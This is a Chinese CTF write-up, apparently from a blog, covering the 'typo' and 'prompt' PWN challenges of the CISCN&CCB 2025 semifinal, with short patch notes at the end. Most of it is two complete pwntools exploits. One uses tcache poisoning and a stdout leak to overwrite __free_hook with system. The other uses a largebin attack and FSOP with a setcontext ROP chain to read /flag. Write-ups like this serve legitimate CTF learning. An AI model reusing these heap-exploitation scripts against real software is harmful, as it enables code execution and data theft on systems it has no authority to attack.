CISCN&CCB半决赛2025_PWN_WP

CISCN&CCB半决赛_2025_PWN_WP

前言:

记录一下第一次打半决赛国赛,总结来说还是自己太菜了,还有check脚本是真的很shi,正规军白给了。。。

typo

break

edit函数内部,使用了snprintf 来实现,漏洞是因为,size参数和格式化的参数顺序反过来了。导致了堆溢出以及格式化字符串漏洞

image-20250319203717539

后来在栈上发现没有合适的链子使用,但是可以直接通过堆溢出漏洞来进行实现teache bin attack

image-20250319204603372

没有show函数来进行泄露地址,但是可以通过teache bin attack 来打IO泄露地址,之后拿到地址之后就可以继续teache bin attack

来打__free_hook.

EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from gt import *
con("amd64")

io = process("./pwn")
libc = ELF("./libc-2.31.so")

def add(index,size):
io.sendlineafter(">> ","1")
io.sendlineafter("Index: ",str(index))
io.sendlineafter("Size: ",str(size))




def free(index):
io.sendlineafter(">> ","2")
io.sendlineafter("Index: ",str(index))



def edit(index,size,msg):
io.sendlineafter(">> ","3")
io.sendlineafter("Index: ",str(index))
io.sendafter("content: ",size)
io.sendafter("want to say: ",msg)


# add(0,0x20)
# add(1,0x28)
# add(2,0x28)
# add(3,0x28)
# add(4,0xf8)
# free(1)
for i in range(0x6):
add(i,0x78)
add(7,0x20)
add(8,0x78)
add(9,0x30)
add(10,0x78)
add(11,0x10)
add(12,0x78)
add(13,0x28)
add(14,0x28)
add(15,0x28)
add(16,0x28)
add(17,0x28)
# gdb.attach(io)

payload = b'd'*0x40 + b"/bin/sh\x00"

edit(16,payload,'a')
payload = b'd'*0x38 + p64(0x41)

edit(16,payload,'a')

# add(11,0x78)
payload = b'a'*0x88 + p64(0xd1)
edit(8,payload,'a')
free(9)
add(9,0xc0)
for i in range(0,5):
free(i)
free(12)
free(8)
free(10)

payload = b'a'*0x30
edit(7,payload,'a')
payload = b'a'*0x28 + p64(0x91)
edit(7,payload,'a')
payload = b'a'*0x30 + p64(0x91) + b'\x90\x76'
# gdb.attach(io)
edit(9,'\xc0',payload)
add(0,0x78)
# gdb.attach(io)
add(1,0x78)
add(2,0x78)
payload =b'\x00'*0x8+ p64(0xfbad1887) + p64(0) * 3 + b'\x00'
edit(2,b'\x78',payload)
io.recv(8)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1ec980
suc("libc_base",libc_base)
system = libc_base + libc.sym["system"]
free(15)
free(14)
# gdb.attach(io)
payload = b'a'*0x40+p64(libc_base+libc.sym["__free_hook"]-0x10)
edit(13,payload,'aa')
payload = b'a'*0x38 + b'\x41'
edit(13,payload,'aa')
add(14,0x28)
add(15,0x28)
edit(15,'\x28',b'\x00'*8+p64(system))

free(17)
# add(0,0x78)
# gdb.attach(io)

io.interactive()
fix

snprintf换成printf

image-20250319220303146

或者直接nop掉这个函数

image-20250319220428722

prompt

break

开启了沙箱并且加了一层protobuf的壳

image-20250320142453876

漏洞存在于edit函数

image-20250320143709164

这里对size没有做大小检查,导致堆溢出,可以通过这一点来泄露地址,然后通过largebin attack 来打io

EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
from gt import *
import ctf_pb2

con("amd64")

io = process("./pwn")
libc = ELF("./libc.so.6")


def add(index,size,msg):
proto = ctf_pb2.HeapPayload()
proto.option = 1
proto.chunk_sizes.append(size)
proto.heap_chunks_id.append(index)
proto.heap_content = msg
sd = proto.SerializeToString()
io.sendafter("Your prompt >> ",p32(len(sd)))
io.send(sd)

def free(index):
proto = ctf_pb2.HeapPayload()
proto.option = 2
proto.chunk_sizes.append(0)
proto.heap_chunks_id.append(index)
proto.heap_content = b'BabyShark'
sd = proto.SerializeToString()
io.sendafter("Your prompt >> ",p32(len(sd)))
io.send(sd)


def edit(index,size,msg):
proto = ctf_pb2.HeapPayload()
proto.option = 3
proto.chunk_sizes.append(size)
proto.heap_chunks_id.append(index)
proto.heap_content = msg
sd = proto.SerializeToString()
io.sendafter("Your prompt >> ",p32(len(sd)))
io.send(sd)

def show(index):
proto = ctf_pb2.HeapPayload()
proto.option = 4
proto.chunk_sizes.append(0)
proto.heap_chunks_id.append(index)
proto.heap_content = b'BabyShark'
sd = proto.SerializeToString()
io.sendafter("Your prompt >> ",p32(len(sd)))
io.send(sd)


def exit():
proto = ctf_pb2.HeapPayload()
proto.option = 5
proto.chunk_sizes.append(0)
proto.heap_chunks_id.append(1)
proto.heap_content = b'BabyShark'
sd = proto.SerializeToString()
io.sendafter("Your prompt >> ",p32(len(sd)))
io.send(sd)



add(0,0x100,b'a'*0x10)
add(1,0x100,b'b'*0x10)
add(2,0x100,b'c'*0x10)

free(1)
payload = b'd'*0x100 + b'e'*0x10
edit(0,len(payload),payload)
show(0)
io.recvuntil("e"*0x10)
heap_base = u64(io.recv(5).ljust(8,b'\x00'))
heap_base = (heap_base << 12) - 0x7000
suc("heap_base",heap_base)
# gdb.attach(io)
payload = b'd'*0x100 + p64(0) + p64(0x111)
edit(0,len(payload),payload)
add(1,0x100,b'b'*0x10)
for i in range(7):
add(i+3,0x210,b'a')

add(10,0x210,b'2'*8)
add(11,0x210,b'b')
add(12,0x210,b'b')
for i in range(7):
free(i+3)

free(11)
payload = b'2'*0x210 + b'3' * 0x10
edit(10,len(payload),payload)
show(10)
io.recvuntil("3"*0x10)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x203d30

suc("libc_base",libc_base)
payload = b'2'*0x210 + p64(0) + p64(0x221)
edit(10,len(payload),payload)
_IO_list_all = libc_base + libc.sym["_IO_list_all"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
setcontext = libc_base + libc.sym["setcontext"]
_IO_2_1_stderr_ = libc_base + libc.sym["_IO_2_1_stderr_"]
for i in range(3):
free(i)

add(0,0x440,b'a')

add(1,0x430,b'a')
add(2,0x430,b'a')
add(3,0x340,b'a')
add(4,0x440,b'a')
add(5,0x440,b'a')
add(6,0x450,b'a')
add(7,0x440,b'a')
add(8,0x1f0,b'a')
free(5)
add(5,0x500,b'a')
payload = b'a'*0x440 + p64(0x8a0) + p64(0x451) + p64(libc_base + 0x203f20)*2 + p64(_IO_list_all-0x20)*2
fake_io_addr = heap_base + 0x5d90
gdb.attach(io)
edit(4,len(payload),payload)
free(1)
add(1,0x500,b'a')
add(9,0x430,b'a')
payload = b'a'*0x440 + p64(0) + p64(0x451) + p64(libc_base + 0x203f20)*2 + p64(fake_io_addr)*2

edit(4,len(payload),payload)
add(11,0x430,b'a')

# add(3,0x10,b'\x00')
# gdb.attach(io)
# add(1,0x310,p64(fake_io_addr))
pop_rdi = libc_base + 0x000000000010f75b#: pop rdi; ret;
pop_rsi = libc_base + 0x0000000000110a4d#: pop rsi; ret;
pop_rax = libc_base + 0x00000000000dd237#: pop rax; ret;
syscall = libc_base + 0x0000000000098fb6#: syscall; ret;
sendfile = libc_base + libc.sym["sendfile"]
pop_rcx = libc_base + 0x00000000000a877e#: pop rcx; ret;




orw_addr = fake_io_addr + 0x150
fake_IO_FILE=p64(0)*3 #_flags=rdi
fake_IO_FILE+=p64(_IO_list_all) + p64(0)*2
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+61)#_IO_save_end=call addr(call setcontext/system) mov rdx, qword ptr [rax + 0x38]; mov rdi, rax; call qword ptr [rdx + 0x20];
fake_IO_FILE +=p64(0) + p64(1) + p64(0) + p64(orw_addr-0x20) # rdx
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x2000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)
fake_IO_FILE += p64(0)*7 + p64(orw_addr+8) + p64(pop_rdi+1)
flag_addr = orw_addr + 0x80
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(3) + p64(pop_rcx)+ p64(0x40)+p64(sendfile) + b"/flag\x00"

fake_IO_FILE += orw

edit(11,len(fake_IO_FILE),fake_IO_FILE)

'''
pop_rdi = libc_base + 0x000000000010f75b#: pop rdi; ret;
pop_rsi = libc_base + 0x0000000000110a4d#: pop rsi; ret;
pop_rax = libc_base + 0x00000000000dd237#: pop rax; ret;
syscall = libc_base + 0x0000000000098fa6#: syscall; ret;
sendfile = libc_base + libc.sym["sendfile"]
pop_rcx = libc_base + 0x00000000000a876e#: pop rcx; ret;
'''
# gdb.attach(io)
exit()
io.interactive()



image-20250320144010037

fix

将n该小即可防止溢出

image-20250320144050844

post_quantum

fix

这个我看网上修的方法有很多,这里是把解密函数的两个freeban


CISCN&CCB半决赛2025_PWN_WP
https://ch13hh.github.io/2025/03/19/CISCN-CCB半决赛2025-PWN-WP/
发布于
2025年3月19日
许可协议